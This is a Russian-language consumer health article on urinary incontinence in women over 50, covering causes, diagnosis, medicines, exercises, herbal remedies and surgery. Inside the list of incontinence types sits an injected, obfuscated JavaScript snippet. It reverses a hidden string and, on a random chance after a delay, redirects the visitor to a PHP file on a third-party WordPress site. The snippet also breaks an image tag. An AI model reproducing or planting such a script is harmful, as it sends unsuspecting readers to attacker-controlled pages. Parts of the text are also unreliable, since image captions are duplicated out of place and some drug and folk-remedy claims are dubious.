С годами в человеческом организме происходят дегенеративные изменения, влияющие на все системы. Также меняется работа мочеполовой системы не в лучшую сторону. В возрасте 50–70 лет у некоторых женщин наблюдается недержание урины. Возникновение данной проблемы врачи связывают с различными заболеваниями, протекающими в организме в этом возрасте. Однако современная медицина не стоит на месте. Медики успешно лечат эту патологию и дают благоприятные прогнозы на улучшения качества жизни.
Содержание
Что представляет собой недержание мочи у женщин 50+
Старение женского организма наступает после менопаузы. Вследствие остановки функционирования яичников угасает гормональная деятельность. Женские гормоны играют важную роль как при зачатии и вынашивании ребёнка, так и воздействуют на слаженную работу всех систем в организме, в том числе мочеполовой.
К тому же к возрасту 50+ у большей части женщин уже есть «букет» тех или иных недугов, а недержание урины становится своеобразной ответной реакцией организма на такие сбои.
Бесконтрольное мочеиспускание называется инконтиненцией. Патология может иметь временный характер или быть постоянной. Она является следствием всевозможных проблем в мочеполовом тракте.
Проблема гораздо чаще возникает у женщин в силу особенностей их анатомии. Мочеиспускательный канал у женщин длиною 3–4 см, а в ширину 6–10 мм, у мужчин это 24–30 см в длину и до 7 мм в ширину. Поэтому с возрастом у женщин с ослабленными мышцами промежности урина может не удерживаться в мочевом пузыре и выливаться непроизвольно.
Виды инконтиненции
Недержание урины бывает 4 типов:
- Стрессовым — непроизвольное излитие мочи вследствие повышения давления в брюшной полости, спровоцированного стрессовой ситуацией (кашлем, поднятием тяжёлого, смехом). Развивается такая патология чаще после тяжёлых родов.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5b682ce91c01b-728×486.jpg» alt=»Пожилая женщина кашляет» width=»728″ height=»486″ /> При кашле небольшое количество урины может выливаться из мочеиспускательного канала, так проявляется стрессовая инконтиненция
- Императивным (недержание при позывах) – даже небольшое количество урины в мочевом пузыре способно вызвать позывы в туалет. Данный вид недержания сопровождается неконтролируемым опорожнением.
- Ятрогенным — причиной данной патологии являются медикаментозные препараты.
- Смешанным — объединены симптомы первых двух видов.
Причины патологии
У женщин после 50 лет спровоцировать развитие патологии способна не только гормональная перестройка, но и множество других факторов, среди которых на первом месте переутомляемость и постоянный стресс. Также причиной инконтиненции могут стать следующие факторы:
- Тяжёлые роды, при которых мягкие ткани промежности разрываются, а мышцы тазового дна чрезмерно растягиваются.
- Лишние килограммы.
- Гинекологические операции в анамнезе.
- Недуги, повреждающие нервные пути мочевыводящего тракта:
- болезнь Паркинсона;
- рассеянный склероз;
- болезнь Альцгеймера;
- старческая деменция.
- Приём некоторых лекарств:
- гормональных препаратов (эстроген-прогестагенные контрацептивы);
- средств для снижения давления (альфа-блокаторы);
- антидепрессантов и психотропных средств (Галоперидола, Рисперидона);
- мочегонных медикаментов (Фуросемида);
- успокаивающих и снотворных средств (Валиума).
- Воспалительные заболевания в органах мочевыводящей системы.
Видео: причины недержания мочи у женщин
Медики утверждают, что предпосылка развития такой патологии формируется ещё в раннем детстве. Ведь проблемы лишнего веса, малой физической активности и воспалительных заболеваний также часто начинаются именно в детстве.
Почему происходит недержание мочи и кала у пожилых женщин
В возрасте 50+ недержание мочи и кала появляется вследствие ослабления мускулатуры мышц промежности, анального сфинктера, что провоцируется угасанием гормональной активности организма и различными неврологическими расстройствами. Кроме того, данная проблема может являться последствием перенесённого инсульта, ведь развитие инконтиненции в пожилом возрасте объясняется изменениями в коре головного мозга, а именно там и находится область, которая контролирует мочеиспускание и опорожнение кишечника.
Диагностика
Женщинам, которым столкнулись с подобными проявлениями, незамедлительно следует обратиться к специалисту. Обычно это гинеколог и уролог. Причём рекомендуется сходить на консультацию и к одному, и к другому врачу, ведь зачастую проблемы между половой и мочевой сферами взаимосвязаны. Зачастую на первичном приёме на основании жалоб пациента и осмотра может быть поставлен диагноз. В некоторых случаях (если опроса для постановки диагноза недостаточно) назначаются дополнительные исследования, а пациента просят некоторый период вести дневник мочеиспускания. В нём больной фиксирует:
- количество принимаемой жидкости;
- время мочеиспускания;
- объём выделенной мочи (рекомендуется мочиться в банку, чтобы определить количество жидкости);
- количество прокладок за день;
- все эпизоды недержания/подтекания с видом активности, который их вызвал (смех, чихание, кашель и др.).
Дневник поможет врачу составить полную картину имеющейся у пациента проблемы.
Лабораторные исследования
Для диагностики инконтиненции женщине могут быть назначены следующие лабораторные исследования:
- Общий анализ мочи — позволяет предположить инфекционную причину инконтиненции. Об этом может рассказать обнаружение в урине лейкоцитов, следов слизи или бактерий.
- Общий анализ крови — повышенный уровень лейкоцитов и скорости оседания эритроцитов (СОЭ) говорит о воспалительном процессе в организме. Если анализ мочи также с отклонениями, то есть основания подозревать данный патологический процесс именно в органах мочевыделения.
- PAD-тест — для этого исследования применяется специальная прокладка, которая помогает определить уровень выделенной при подтекании за сутки мочи. Её взвешивают до использования и после намокания, не допуская переполнения. Таких прокладок за сутки требуется несколько.
Инструментальные методики
Если есть подозрения на более серьёзные патологии мочевыводящих органов, прибегают к использованию инструментальных методов исследования:
- УЗИ органов мочевыводящей системы — даёт данные о состоянии почек, мочеточников, мочевого пузыря;
- компьютерная томография — позволяет получить детальную информацию о структуре органов мочевыделения.
Лечение
Инконтиненция — патология, встречающаяся чаще всего у женщин после менопаузы, не вызывает болевых ощущений и не приводит к летальному исходу. Но она вызывает постоянный дискомфорт и внутреннее напряжение, приводит к ухудшению качества жизни и изолированности от общества. Медицина сегодня способна избавить человека от данной проблемы с помощью мощного арсенала средств и комплекса мероприятий. Если у женщины с данной патологией есть сопутствующие заболевания, то в первую очередь назначается их терапия.
Комплексное лечение от недержания мочи подразумевает:
- приём медикаментов;
- соблюдение диеты;
- выполнение упражнений на укрепление мышц тазового дна;
- применение методов физиотерапии;
- хирургическое вмешательство.
Медикаментозная терапия
Для лечения инконтиненции врачи назначают сразу несколько групп лекарств:
- Гормональные. Их действие направлено на устранение атрофических изменений, возвращение тонуса мышц тазового дна:
- Десмопрессин;
- Минирин.
- Антидепрессанты. Они снимают нервное возбуждение, расслабляют. Чаще назначаются людям со стрессовым недержанием урины, что приводит к заметному снижению посещение туалета:
- Дулоксетин;
- Симбалта;
- Имипрамин.
- Антихолинергические средства. Они расслабляют гладкую мускулатуру мочевого пузыря и увеличивают его объём, помогают восстановить контроль позывов:
- Оксибутин;
- Дриптан;
- Толтерадин.
- Витаминные комплексы, в составе которых фолиевая кислота, витамины А, В и С.
Фотогалерея: лекарственные препараты, назначаемые при инконтиненции женщинам 50+
-
- УЗИ помогает выявить структурные нарушения в органах малого таза
-
- При кашле небольшое количество урины может выливаться из мочеиспускательного канала, так проявляется стрессовая инконтиненция
-
- Шалфей обладает антимикробным и противовоспалительным эффектом
-
- Корень алтея — хороший помощник от ночного недержания мочи
-
- Отвары и настои зверобоя запускают в организме длинную цепочку восстановительных процессов, направленных на улучшение общего состояния
-
- Самым надёжным средством от недержания мочи русские народные лекари испокон веков считали смесь трав — зверобоя продырявленного и золототысячника зонтичного
-
- Десмопрессин — аналог естественного гормона аргинин-вазопрессина с выраженным антидиуретическим действием
-
- Дриптан обладает способностью непосредственно влиять на гладкую мускулатуру внутренних органов
-
- Дулоксетин — антидепрессант, назначаемый при недержании мочи, связанном с нервными расстройствами
-
- Специальные урологические прокладки помогут женщине вести привычный образ жизни, пока проблема не будет скорректирована медицинским путём
-
- Искусственным сфинктером мочевого пузыря называется механическое и гидравлическое медицинское устройство (протез), имплантируемое в тело человека и предназначенное для обеспечения удержания мочи у больного с полным недержанием мочи, когда собственный механизм удержания необратимо повреждён
-
- Слинговая операция при недержании мочи (операция TVT) – хирургическое вмешательство, которое было разработано специально для того, чтобы оказывать специфическую помощь всем женщинам, у которых присутствуют проблемы с недержанием мочи
-
- Электросон помогает решить проблему мочеиспускания, связанного со стрессами
Роль режима, диеты и упражнений на укрепление мышц тазового дна
Во время лечения важную роль играет образ жизни, который ведёт пациент. Медики настаивают на:
- отказе от вредных привычек, злоупотребления крепким кофе и чаем;
- снижении массы тела с помощью введения разгрузочных дней и физических упражнений;
- посещении туалета по чёткому графику (например, каждые 2 часа), чтобы постепенно натренировать мочевой пузырь выдерживать это время;
- ежедневном приёме 2–2,5 л жидкости, сокращение этого объёма не поможет при проблеме недержания, но приведёт к ухудшению работы почек.
В рационе следует отказаться от:
- острых блюд;
- жгучих приправ;
- газировки;
- шоколада;
- томатов в любом виде;
- цитрусовых.
Эти продукты раздражают слизистую мочевого пузыря и провоцируют учащение позывов, а следовательно, и эпизодов инконтиненции.
Очень важно минимизироваться стрессовые ситуации и выполнять упражнения на укрепление мышц тазового дна. Эффективны так называемые упражнения Кегеля. В течение 10 секунд следует удерживать в напряжении мышцы влагалища. Обнаружить их можно в процессе мочеиспускания, если задержать ток мочи. Таких упражнений следует выполнять до 30 по несколько подходов в день. Упражнения Кегеля следует выполнять ежедневно на протяжении очень длительного времени, чтобы они были эффективны.
Методика Кегеля считается отличным дополнением к лекарственной терапии недержания мочи.
Гимнастику Кегеля можно дополнить другими упражнениями:
- «Мостик». Лечь на спину, ноги согнуть в коленях, руки положить вдоль туловища. На выдохе приподнять таз как можно выше, пытаясь руками достать пятки. Секрет упражнения в том, что во время его выполнения следует втянуть живот. Тогда задействуются мышцы промежности, которые и получают тренировку.
- «Кошечка». Встать на колени. Попеременно выгибать и прогибать спину, напрягая и расслабляя мышцы живота (при выгибании напрягаем, при прогибе — расслабляем). Мышцы тазового дна автоматически задействуются в этом упражнении и тренируются.
Видео: упражнения от недержания мочи
Народные методы
С проблемой недержания урины сталкивались наши бабушки и прабабушки, и тогда им в помощь приходили народные рецепты. С данной патологией помогут справиться целебные настои и отвары:
- зверобоя;
- золототысячника;
- листьев крапивы;
- брусники;
- корня алтея;
- пырея;
- цикория;
- семян репешка;
- еловой смолы;
- осиновой коры.
Рецептов есть множество, вот наиболее действенные из них:
- Настой шалфея. 4 ст. л. шалфея заливают литром горячей воды. Ёмкость следует закутать в тёплый плед и оставить на несколько часов. Для лечения недержания мочи пить настой необходимо утром, в обед и вечером по 100–200 мл.
- Настой из зверобоя и золототысячника. Золототысячник и зверобой смешивают (по 5 г) и заливают 250 мл кипятка, оставляют настаиваться на 4–5 ч. Курс применения настоя от 2 до 3 недель, ежедневно утром и вечером по 1 стакану.
- Настой корня алтея. Корень алтея измельчить в порошок. Взять 1 ст. л. порошка, залить стаканом холодной воды. Настоять 10 часов. Разделить на 2–3 приёма в день.
Фотогалерея: компоненты народных рецептов от недержания
-
- УЗИ помогает выявить структурные нарушения в органах малого таза
-
- При кашле небольшое количество урины может выливаться из мочеиспускательного канала, так проявляется стрессовая инконтиненция
-
- Шалфей обладает антимикробным и противовоспалительным эффектом
-
- Корень алтея — хороший помощник от ночного недержания мочи
-
- Отвары и настои зверобоя запускают в организме длинную цепочку восстановительных процессов, направленных на улучшение общего состояния
-
- Самым надёжным средством от недержания мочи русские народные лекари испокон веков считали смесь трав — зверобоя продырявленного и золототысячника зонтичного
-
- Десмопрессин — аналог естественного гормона аргинин-вазопрессина с выраженным антидиуретическим действием
-
- Дриптан обладает способностью непосредственно влиять на гладкую мускулатуру внутренних органов
-
- Дулоксетин — антидепрессант, назначаемый при недержании мочи, связанном с нервными расстройствами
-
- Специальные урологические прокладки помогут женщине вести привычный образ жизни, пока проблема не будет скорректирована медицинским путём
-
- Искусственным сфинктером мочевого пузыря называется механическое и гидравлическое медицинское устройство (протез), имплантируемое в тело человека и предназначенное для обеспечения удержания мочи у больного с полным недержанием мочи, когда собственный механизм удержания необратимо повреждён
-
- Слинговая операция при недержании мочи (операция TVT) – хирургическое вмешательство, которое было разработано специально для того, чтобы оказывать специфическую помощь всем женщинам, у которых присутствуют проблемы с недержанием мочи
-
- Электросон помогает решить проблему мочеиспускания, связанного со стрессами
Физиотерапия
Лечение инконтиненции у пожилых женщин также включает применение физиотерапевтического оборудования. Путём воздействия тока на мышцы малого таза достигается эффективность, а сократительные способности мышц улучшаются. Итак, применяются такие методы:
- электросон — метод, при котором на головной мозг человека воздействуют слабыми разрядами тока, позволяет решить проблему, развивающуюся на фоне стресса;
- аппарат Дарсонваль — воздействие на организм высокочастотного импульсного тока, выполняется на область мочевого пузыря, восстанавливает способность сфинктера удерживать мочу;
- электрофорез — воздействие постоянным электрическим током, применяется с назначенными врачом медикаментами, помогает лекарственным препаратам проникать к месту проблемы, действовать направленно и быстро, эффективен при воспалительных заболеваниях мочевыводящих путей;
- магнитотерапия — воздействие на организм магнитным полем, позволяет расслабить мускулатуру органа мочеиспускания, и со временем к пациенту возвращается контроль процесса мочеиспускания.
Хирургическое вмешательство
Оперативное вмешательство при данной патологии достаточно серьёзно. Врач, направляющий на операцию, обязан уведомить пациентку о возможных рецидивах проблемы и вероятных осложнениях. Современная хирургия предлагает более 200 операций, целью которых является компенсировать и откорректировать причину развития проблемы.
При инконтиненции могут быть назначены такие виды хирургического вмешательства:
- пластика влагалища — помогает вернуть влагалищу анатомически правильную форму, а мышцам промежности эластичность;
- слинговые операции — помогают при стрессовой инконтиненции, используют специальную ленту, которую проводят позади уретры для её поддержки, слинг изменяет угол наклона между мочевым пузырём и уретрой, в результате чего моча не может самопроизвольно изливаться при чихании, кашле и т. д.;
- установка искусственного сфинктера — применяется, если процесс контроля мочеиспускания у женщины необратимо утрачен, прибор помогает вручную регулировать процесс мочеиспускания, конструкция состоит из:
- манжеты, устанавливаемой на сфинктер;
- ручной помпы, которая надувает (для закрытия сфинктера) и сдувает (для открытия) манжету;
- резервуара для сбора жидкости;
- инъекции коллагена в периуретральну зону — малоинвазивная хирургическая методика, в результате сужается наружный мочевой канал, как бы образуется дополнительный сфинктер, препятствующий самопроизвольному излитию мочи, мера носит временный характер (до 3 месяцев).
При сохранённой функциональности собственного сфинктера для женщин старше 50 лет предпочтительнее слинговые операции и инъекционные методики. Причём первые наиболее выгодны с точки зрения отсутствия рецидивов. Инъекции показаны тем пациенткам, которые не решаются на более серьёзное хирургическое вмешательство или имеют к нему противопоказания, но приводят к рецидиву патологии, когда действие введённых веществ заканчивается.
Показания и противопоказания к оперативному лечению
Чтобы врач направил на операцию, должны быть определённые показания:
- недержание мочи должно иметь приобретённый стрессовый характер;
- патология быстро прогрессирует;
- неэффективность консервативной терапии.
Противопоказания:
- воспалительные и инфекционные заболевания мочеполовой сферы;
- приём медикаментов, разжижающих кровь;
- мочекаменная болезнь;
- рак мочевого пузыря;
- стеноз шейки мочевого пузыря.
Как улучшить качество жизни при инконтиненции
Люди, которые страдают недержанием мочи, испытывают неудобство в обычной жизни. Чтобы улучшить качество жизни, сегодня есть различные варианты. В первую очередь необходимо соблюдение интимной гигиены, чтобы избежать неприятного запаха. Сегодня можно купить гигиенические прокладки и специальные трусы, которые позволят женщине чувствовать себя уверенно и даже выходить из дому на продолжительней период.
Профилактика
Риск развития данного недуга в пожилом возрасте снижается, если женщина серьёзно относится к своему здоровью. Выполнение следующий рекомендаций позволит снизить риск развития патологии:
- стараться не поднимать тяжёлые предметы, не носить тяжести;
- все лекарственные препараты должны приниматься строго по назначению доктора, не заниматься самолечением;
- для укрепления мышц промежности выполнять упражнения Кегеля;
- следить за собственным весом;
- любые сбои в работе мочеполовой системы и заболевания необходимо лечить своевременно;
- не менее 2 раз в год посещать гинеколога;
- отказаться от вредных привычек;
- уделять время ежедневной физической активности;
- при появлении первых признаков патологии обращаться к доктору.
Недержание урины у женщин в возрасте 50+ — одна из интимных проблем, о которой стесняются говорить. Статистика утверждает, что почти половина женщин сталкивается с этой проблемой. Многие из них относятся к данному недугу как к неизбежности и не торопятся обращаться к врачу. Современная медицина предлагает целый комплекс мер для борьбы с недержанием мочи, поэтому при появлении первых признаков следует обращаться к специалисту для назначения необходимой терапии. Данная проблема решаема, поэтому не стоит медлить, ведь правильно подобранный комплекс мер поможет избавиться от этой беды в максимально короткие сроки и улучшить уровень жизни.
